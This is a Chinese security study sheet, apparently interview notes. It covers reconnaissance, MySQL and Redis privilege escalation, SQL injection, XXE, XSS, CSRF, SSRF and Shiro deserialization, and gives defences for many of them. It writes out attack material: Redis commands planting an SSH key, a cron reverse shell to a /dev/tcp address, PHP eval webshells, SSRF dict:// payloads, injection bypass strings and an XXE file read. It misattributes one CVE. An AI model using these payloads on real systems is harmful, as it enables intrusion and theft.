# 信息收集
# 如何处理子域名爆破时遇到的泛解析问题
# 判断是否使用泛解析
连续多次 ping
绝对随机不可能存在的域名前缀,比如 zoichgqwrgn.taobao.com
、 vugoweautgoqw.baidu.com
# IP、CNAME 黑名单
如果存在域名泛解析,将多次出现的 IP 或 CNAME 记录(TTL 相同)到黑名单,后续出现相同的则可以根据黑名单过滤
# 如何绕过 CDN 查找真实 ip
- DNS 历史解析记录
- 通过未加入 CDN 的子域名
- 全球 ping,可能网站只在部分地区做 CDN
- SSL 证书
- 搜索引擎 title 匹配,如 fofa
- 探针文件,phpinfo
# 如何收集一个单位的所有一级域名
- 搜索引擎搜单位名字
- 备案、许可证号反查
- WHOIS 查该域名的信息,然后反查与这些信息相关联的域名
# 代码审计
# 基本思路
- 了解系统业务逻辑
- 重点审计数据输入和输出处,输入是否充分过滤,输出是否可能泄露敏感信息
- 关注风险函数,如文件操作
file_get_contents()
、SQL 查询、命令执行eval()
,exec()
等 - 关注文件上传、模板渲染等高位模块
- 配置文件中的安全设置,是否存在明文密码、session 管理是否安全
# 发现水平越权和垂直越权应该注意什么地方
用户权限验证:是否完善,可能容易被绕过
用户输入处理:是否充分过滤
# 提权
# MySQL 提权
# 必要条件
有 MySQL 的 root 权限,MySQL 以 system 权限运行,并且能执行 SQL 语句
获取 root 密码:
- 从配置文件:
config
,conn
,sql
等关键字 - MySQL 安装路径下的文件
data
目录存放数据信息- root 帐号密码在
mysql
数据库的user
表中 - 文件路径为
安装路径/data/mysql/user.MYD
# 提权方式
# MOF 提权
Windows 系统,利用 C:\\Windows\System32\wbem\MOF
目录下的 nullevt.mof
文件
该文件每分钟会执行一次,向其中写入命令就会被执行
低版本系统可用,如 XP、Server 2003
补救措施:停止服务 net stop winmgmt
,删除目录 C:\\Windows\System32\wbem\Repository
,重启服务
# UDF 提权
UDF (User Defined Function),通过添加自定义函数扩展 MySQL 服务器的功能
动态链接库文件在 sqlmap/data/udf/mysql
目录下,需要用 sqlmap 解码还原成 .dll
或 .so
mysql < 5.1
的导出目录为 c:/windows
或 system32
; mysql >= 5.1
导出目录为 安装目录/lib/plugin
存在 sql 注入时,如果拥有 dba 权限,且 secure_file_priv
为空,可以通过 POST 方式提交注入请求写入文件(GET 可能会因为长度而限制),sqlmap 的 --file-write
指定要写入的文件, --file-dest
指定写入目录
不存在 sql 注入时,如果 secure_file_priv
为空,可以直接 select 0x4d51900003... into dumpfile
写入,其中数据部分为动态链接库的十六进制编码
# 开机启动项提权
利用 MySQL 将后门写入开机启动项,重启服务器后才能生效
# Redis
# 原理
# 未授权访问
Redis 安装后默认是无密码的,存在未授权访问漏洞
# 持久化写任意文件
Redis 提供两种持久化方式,AOF(记录服务器执行的写操作命令)和 RDB(数据集快照)
AOF 方式备份的默认文件名为 appendonly.aof
,可以通过配置文件中的 appendfilename
来修改,但不能在客户端中动态修改
RDB 方式备份的默认文件名为 dump.rdb
,可以通过客户端动态设置 dir
和 dbfilename
来修改路径和文件名,从而造成写任意文件漏洞
# 利用方式
利用 Redis 漏洞首先需要能够通过某些方式进入到 redis-cli 中,可以是未授权访问、SSRF 等
# 写 ssh-keygen 公钥登录服务器
需要 Redis 以 root 用户启动,服务器开放 SSH 并允许密钥登录
首先使用 ssh-keygen -t rsa
在本地生成一对 SSH 密钥,公钥文件默认存放在 /root/.ssh/id_rsa.pub
通过某些方法登录到目标 Redis 中,将公钥写入目标服务器
config set dir /root/.ssh/
config set dbfilename authorized_keys
set xx "\n\n\n 公钥 \n\n\n"
save
# 写计划任务反弹 shell
需要 Redis 以 root 用户启动
利用写任意文件漏洞,可以在计划任务中写入任意命令执行
网上有的资料说写计划任务仅适用 Centos 系统,理由有两方面
- Redis 写文件后文件权限为
644
,而 Ubuntu 要求计划任务文件权限必须是600
才会执行,否则会报错,但 Centos 的计划任务文件权限为644
也可以执行 - Redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而 Centos 不会
此外 crontab 文件的位置在两个系统中也有区别
- Ubuntu 的计划任务文件在
/var/spool/cron/crontabs/<username>
- Centos 的计划任务文件在
/var/spool/cron/<username>
首先在本地开启一个监听反弹 shell 的端口, nc -lvnp 20001
执行以下命令写入 crontab
config set dir /var/spool/cron/
config set dbfilename root
set xx "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.2/20001 0>&1\n"
save
# 写 webshell
需要知道网站的绝对路径,并且有路径的读写权限
网站的绝对路径可以通过报错信息、目录扫描、猜测常见路径等方法得到
写入 phpinfo 和一句话木马的例子
config set dir /www/admin/wwwroot
config set dbfilename phpinfo.php
set xx "\n\n\n<?php phpinfo();@eval($_POST['cmd']); ?>\n\n\n"
save
# 主从复制写入
Redis 提供了主从模式,可以指定一个 Redis 示例作为主机,其他机器作为从机;主机负责写,从机负责读,从机会同步主机写入的内容
假设在本地 192.168.1.1
上启动了一个 Redis,然后可以在目标机器 192.168.1.2
的 Redis 中,输入 slaveof 192.168.1.1 6379
来指定目标机为本地的从机,之后在本地 Redis 写入的内容会自动同步到目标机上
# 结合 SSRF
通过 SSRF 可以访问内网系统,因此也可以通过 SSRF 访问内网的 Redis 服务
SSRF 访问 Redis 可以使用 dict://
或 gopher://
协议
dict:/config:set:dir:/www/admin/wwwroot | |
dict:/config:set:dbfilename:ssrf.php | |
dict:/set:xx:<?php phpinfo();?> | |
dict:/slaveof:192.168.1.1:6379 # 主从复制 | |
dict:/save | |
gopher:/_info |
dict://
中使用 <
?
等符号可能会被截断,可以通过主从复制绕过
gopher://
需要对 payload 进行二次 url 编码
# 防御
- 禁止
config
等危险命令或将这些命令重命名 - 不要使用 root 用户运行 Redis
- 添加密码验证
- 限制内网访问,更改默认端口
- 针对特定方式,比如写 SSH 公钥,严格限制
authorized_keys
的读写权限
# SQL 注入
攻击者在 HTTP 请求中注入恶意 SQL 代码,服务器使用参数构建 SQL 命令时,恶意 SQL 被一起构造,并在数据库中执行
# 如何判断数据库类型
# 根据前端判断
asp: SQL Server,Access
.net: SQL Server
php: MySQL,PostgreSQL
java: Oracle,MySQL
# 根据端口判断
Oracle:默认端口 1521
SQL Server:默认端口 1433
MySQL:默认端口 3306
# 数据库特有函数
len()
: SQL Server、MySQLlength()
: Oracle
version()
: MySQL@@version
: MySQL、SQL Server
MySQL: substring()
和 substr()
SQL Server: substring()
Oracle: substr()
# 根据特殊符号
/*
, /**/
, #
:MySQL 注释符--
:Oracle、SQL Server 注释符;
:子句查询标识符;Oracle 不支持多行查询,使用 ;
返回错误很可能是 Oracle 数据库
# 根据字符串处理方式
'a'+'b'='ab'
: MySQL、SQL ServerCONCAT('a', 'b')='ab'
: MySQL、Oracle'a'||'b'='ab'
: Oracle
# 根据数据库特有数据表
MySQL: information_schema.TABLES
Oracle: sys.user_tables
SQL Server: sysobjects
# 盲注函数
MySQL: SLEEP(5)
、 BENCHMARK(1000000,ENCODE('QWE','ASD'))
PostgreSQL: PG_SLEEP(5)
、 GENERATE_SERIES(1,1000000)
SQL Server: WAITFOR DELAY '0:0:5'
# 常见防御方法
- 预编译:查询语句和参数分离,不将用户的输入直接放入 SQL 语句中
- 存储过程:类似预编译,也是将 SQL 语句的解析和执行分开,但区别于预编译在数据库驱动(其他代码)中分离,存储过程则是直接在数据库本身进行分离
- 过滤:正则表达式、黑名单字符串
不算做是防御,但是减小攻击成功率:
- 不显示报错:报错信息可以帮助攻击者了解查询语句的运作等数据库信息
- 限制数据库权限:将数据库用户的功能设置为最低要求
# 常见绕过方式
- 各种编码绕过:如 URL 编码,Unicode 编码,base64,hex 编码等
- 字母大小写绕过:对关键函数名大小写混用,可以绕过只过滤全小写 / 全大写
- 空格过滤绕过:用空白字符替换空格、用
+
替换空格、用注释符/**/
替换空格 - 双写关键字绕过:可以绕过只对关键字过滤一次的情况
- 内联注释绕过:MySQL 扩展了注释,在
/**/
中如果插入!
,则里面的语句会被执行 (/*!50001sleep(3)*/
) - GET/POST 绕过:更换请求方式,绕过只针对一种请求方式过滤的情况
- 复参数绕过:对一个参数多次赋值,可能会出现前后端处理不一致的情况 (
?id=1&id=2 and sleep(3)
) - 添加
%
:如se%lect
,可能会被还原为select
00
截断:?a=1%00&id=1 and sleep(3)
# 用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符,应该怎么做
列名、表名使用反引号
# 宽字节注入
GBK、GB2312 等一个字符大小为 2 字节
当 MySQL 使用这类编码时,会将两个字节认为是一个汉字(前一个字符的 ASCII 码大于 128)
在使用 addslashes()
过滤时,输入的单引号 '
( %27
) 会变成 \'
( %5c%27
),如果此时输入的是 %df'
( %df%27
),经过处理后会变成 %df%5c%27
,而 %df%5c
会被认为是汉字 運
,从而保留了单引号,变成 運'
# sql 注入写 shell
# select into
需要条件:
- 数据库 dba 权限
secure_file_priv
为空(或者为某一路径)
# select ... into outfile "path"
outfile
可以写入多行,并且在每行结束时加上换行符outfile
会对数据进行一些格式转换(转义),因此写 shell 需要注意特殊字符
# select ... into dumpfile "path"
dumpfile
只能写入一行dumpfile
写入时会保持原始数据格式,适合写入二进制文件,如.exe
文件,UDF 提权的动态链接库
写出的路径只能是引号包裹的路径,不能是 0x
开头或 char()
转换后的路径,因此不能通过 hex 编码或 char()
来绕过引号转义
文件不能覆盖写入,需要保证写入的文件名不存在
# 日志写 shell
需要条件:
- 知道网站的绝对路径
- 具有该路径的写权限
- 具有更换日志路径 / 打开日志功能的权限
- 引号不被转义
MySQL 中的查询日志和慢查询日志可以被利用
慢查询日志用来记录执行时间超过指定值的查询语句,参数 long_query_time
设置超时时间, slow_query_log
设置慢查询日志开关, slow_query_log_file
设置慢查询日志文件
假设超时时间为 10s,可以用以下语句来写入 shell
SELECT "<?php eval($_POST[log]);?>" FROM users WHERE sleep(11); |
# sqlmap 的 --os-shell
需要条件:
- 数据库 dba 权限
- 知道网站的绝对路径
secure_file_priv
为空- php 关闭 GPC(魔术引号)
其原理是利用 select into outfile
,先写入一个可以用来上传文件的 php 文件到网站根目录下
然后再利用这个文件上传页面上传一个 webshell
# Java 中 SQL 注入的审计和修复
# jdbc
使用 +
直接拼接字符串,其中一部分是用户可控的,可以用预编译来解决
对于 like
语句,预编译后必须在 setString()
时手动添加 %
而对于 order by
语句,由于 setString()
会自动给参数添加引号,而 order by
后面一般跟的是字段名,不能有引号,因此这种位置无论如何拼接最终都和直接使用 +
的效果一样,只能进行过滤
# Mybatis
# ${}
直接拼接
类似 jdbc 的 +
,可以替换为 #{}
预编译的方式
# like
like
后的参数不能使用 #{}
预编译,如 like '%${p}%'
可以使用 like concat('%', #{p}, '%')
修复
非 MySQL、Oracle 可以将 concat
替换为对应的拼接语句
# order by
类似 like
, order by
后也不能使用 #{}
,而且也不像 like
语句中需要 %
因此, order by
尽量避免接收用户输入,直接写死
如果必须要接收传入的参数,则先对参数做好过滤再使用
# Hibernate
ORM 的一个实现库,如果是已封装好的方法,默认是预编译的,可以避免注入
但对于一些复杂的 SQL 语句需要手写,仍然需要对输入进行严格过滤,同时预编译不生效的情况也需要单独注意
# XXE
XML 外部实体注入,利用 XML 恶意加载外部文件和代码,造成任意文件读取、命令执行、端口扫描等
# 关键函数
file_get_contents(path)
:把整个文件读入字符串中simplexml_load_string(str)
:将 XML 格式字符串转换为对应的SimpleXMLElement
# 攻击示例
<?php | |
$xml = <<<EOF | |
<?xml version="1.0"?> | |
<!DOCTYPE ANY [ | |
<!ENTITY xxe SYSTEM "file:///etc/passwd"> | |
]> | |
<x>&xxe;</x> | |
EOF; | |
$data = simplexml_load_string($xml); | |
print_r($data): | |
?> |
利用 file://
读取了 /etc/passwd
# 基本防御
- 利用开发语言中提供的禁用外部实体的方法
- PHP:
libxml_disable_entity_loader(true);
- JAVA:
DocumentBuilderFactory
实例dbf
,设置dbf.setExpandEntityReferences(false);
- Python:
lxml
库的etree
,导入时设置etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
- PHP:
- 过滤用户提交的 XML 中的关键词
<!DOCTYPE
<!ENTITY
等
# XSS
跨站脚本攻击,指攻击者通过篡改网页来恶意嵌入脚本程序,从而在用户浏览网页时,控制用户浏览器进行恶意操作
# 基本防御
XSS 防御的核心是对输入、输出的数据都进行过滤处理,包括长度限制、HTML 转义等等
# href 输出的防范
由于 href
属性一般放的是 URL,因此可以规定输入必须以 http
或 https
开头
对输出进行转义, htmlspecialchars($_GET['message'],ENT_QUOTES)
# js 输出的防范
JavaScript 转义,用 \
对特殊字符进行处理
# CSRF
跨站请求伪造,指攻击者通过跨站请求,以合法用户的身份进行非法操作
# 基本防御
- token 机制:在 HTTP 请求中进行 token 验证,如果请求中没有 token 或 token 内容不合法,则拒绝请求
- 验证码:用户进行敏感操作时添加验证码进行验证,验证码能够很好地防止 CSRF 攻击,但也会对用户体验造成一定影响,只能作为辅助手段
- referer 识别:HTTP 头部的
Referer
字段记录了该请求的来源地址,且该字段无法由前端更改。一般情况下 CSRF 来自于其他网站,因此可以通过识别请求的来源非本站即认定为非法请求来防止 CSRF,但也可能存在由本站发起的 CSRF。此外某些情况下浏览器限制了Referer
字段的发送,如隐私设置、HTTPS 跳转到 HTTP 等
# SameSite 属性如何防御 CSRF
只允许 cookie 在与创建该 cookie 相同的站点上下文中使用
如果用户访问 A 站时被攻击者重定向到 B 站,则此时不会使用 A 站的 cookie
# JSON 格式 CSRF 如何防御
- 提交数据时输入验证码
- 验证请求来源
referer
token
验证,Anti CSRF Token
# 同源策略与 CSRF
同源策略本质是拦截了跨域请求后的回应,请求还是能够正常发出,因此同源策略不能作为防范 CSRF 的方法
但同源策略限制了 cookie 的命名区域,因此攻击者虽然可以构造一个网站诱导用户向其他网站的接口发起请求,但是攻击者自己并不能拿到用户的 cookie 内容
# SSRF
# 基本原理
利用存在缺陷的 Web 应用,通过 Web 应用作为代理访问指定的目标服务器,通常是从外网无法访问的内部系统
涉及函数: file_get_contents()
, fsockopen()
, curl()
等
# 常见场景
- 社交分享功能:获取超链接的标题等内容显示
- 网站转码 / 翻译:对目标 url 的原始内容进行转码或翻译
- 网站采集:某些网站可以对输入的 url 进行一些信息采集工作
# 利用方法
常用协议:
file://
:读取本地文件dict://
:进行内网端口扫描和目录扫描gopher://<host>:<port>/<gopher-path>_<data>
:发送 POST 请求或任意 TCP 数据流
绕过:
xip.io
域名- 数字 IP 地址,进制转换
- 短链接
# 基本防御
- 对目标地址进行限制
- 对返回的信息进行验证和过滤
- 限制请求端口,如 80, 443, 8080
- 仅允许 http 及 https 协议
- 使用 DNS 缓存或 Host 白名单
# DNS 重绑定
当发起对某域名的 DNS 查询时,第一次查询返回 IP 地址 A,第二次查询返回另一个 IP 地址 B
在实际 SSRF 场景中,可以通过控制域名的解析结果,使得域名第一次查询返回一个真实的 IP 地址,然后服务器将该域名添加至白名单;再次访问时,如果服务器没有设置 DNS 缓存,可以修改域名解析使得第二次查询时返回 192.168.x.x
等内网地址,从而实现访问内网应用
DNS 重绑定攻击运气成分比较大,会受到 TTL、DNS 缓存等因素影响
# 文件上传
文件上传漏洞,指用户上传一个可执行的脚本文件,并通过该脚本文件获得了执行服务端命令的能力
# 基本防御
- 判断文件类型(黑白名单),可以结合 MIME Type 和后缀检查等方式,简单的后缀判断存在绕过的可能
- 对上传的文件重命名,使攻击者无法猜想上传文件的访问路径
- 上传的目录设置为不可执行
- 限制上传文件大小
- 单独设置文件服务器的域名
# php
# phpinfo 中关注哪些信息
- 操作系统、网站路径、
HTTP_HOST
真实 IP - php 版本,如 5.3.4 以下存在
%00
截断 - 使用的服务,如 redis, fastcgi, memcache
- 敏感配置项,如
allow_url_include
,disable_function
# php 的敏感函数有哪些
# 反序列化
# 找反序列化链时哪些魔术方法可以作为切入点
__construct()
: 对象创建时调用__destruct()
: 对象所在函数调用完毕后调用__sleep()
: 序列化对象前调用__wakeup()
: 反序列化恢复对象前调用__toString()
: 对象当做字符串时调用,如echo $a
__invoke()
: 对象当做函数时调用,如$a()
__get()
: 访问不存在的成员时调用__set()
: 设置不存在的成员时调用__call()
: 调用不存在的方法时调用__isset()
,__unset()
: 分别在调用isset()
和unset()
时调用
# shiro
指纹:返回中包含 rememberMe=deleteMe
防范:关闭 rememberMe
持久化登录功能,拦截过长的 rememberMe
值;对于 shiro-721 由于需要爆破,可以拦截频繁访问的 IP
# shiro-550
shiro <= 1.2.4
版本中,会对 cookie 中的 rememberMe
字段进行以下操作
获取 rememberMe
值 -> Base64 解码 -> AES 解密 -> 调用 readObject()
反序列化
反过来,可以构造一个序列化后的命令,经过 AES 加密和 Base64 编码,放在 rememberMe
值中,就可以在反序列化时执行这一命令
利用的关键在于框架内默认存在硬编码的 AES 密钥 kPH+bIxk5D2deZiIxcaaaA==
,如果开发人员没有修改而直接使用就会存在该漏洞
# shiro-721
Apache Shiro 反序列化漏洞(Shiro-721 CVE-2016-4437)
1.2.5 <= shiro <= 1.4.1
版本,cookie 中的 rememberMe
字段使用 AES-128-CBC 加密,填充方式为 PKCS5Padding,存在 Padding Oracle 攻击
首先需要获得一个正常用户 cookie 中的 rememberMe
值,将其作为 Padding Oracle Attack 的前缀,构造带有命令执行的 rememberMe
值发送实现反序列化,过程中不需要知道 AES 加密的密钥
# log4j
# fastjson
【Fastjson】Fastjson 反序列化由浅入深 - Aur0ra
# 其他
# 权限维持
# 一个系统的登录页,通常可能出现什么漏洞
- 弱口令
- SQL 注入
- 可以枚举爆破
- 不安全的提示
- 查看源代码,敏感信息泄露